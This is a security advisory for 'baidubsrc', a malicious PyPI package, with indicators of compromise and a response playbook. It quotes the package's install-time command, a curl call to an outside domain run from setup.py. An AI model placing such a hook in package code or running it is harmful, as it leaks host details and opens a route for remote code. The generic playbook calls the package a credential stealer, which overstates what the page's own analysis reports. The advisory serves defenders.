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Malicious package

baidubsrcPyPI

Advisory published Updated

baidubsrc is a confirmed malicious PyPI package (MAL-2026-4809) that steals credentials and exfiltrates sensitive data (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in baidubsrc (PyPI)

MAL-2026-4809
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall baidubsrc

What this malware does

setup.py executes os.system("curl xiangyangt.com/pypi") unconditionally during pip install. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.

During installation, package calls home, and there is no other functionality.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

  • The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

  • The package overrides the install command in setup.py to execute malicious code during installation.

Malicious versions

1 flagged
0.0.1

Indicators of compromise (SHA-256)

601a0198fee420c15f127c695a251ac5fb2433357e0a24f146bc8c3cac8a5c77
e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd
70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for baidubsrc (version 0.0.1).

  2. If you installed it — respond

    baidubsrc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If baidubsrc was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. baidubsrc on PyPI has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004909IN-MAL-2026-004908GENERIC-standard-pypi-install-pentest

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · analyst

Detect & block this

O3 blocks baidubsrc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

baidubsrc (PyPI) malicious package — MAL-2026-4809 | O3 Security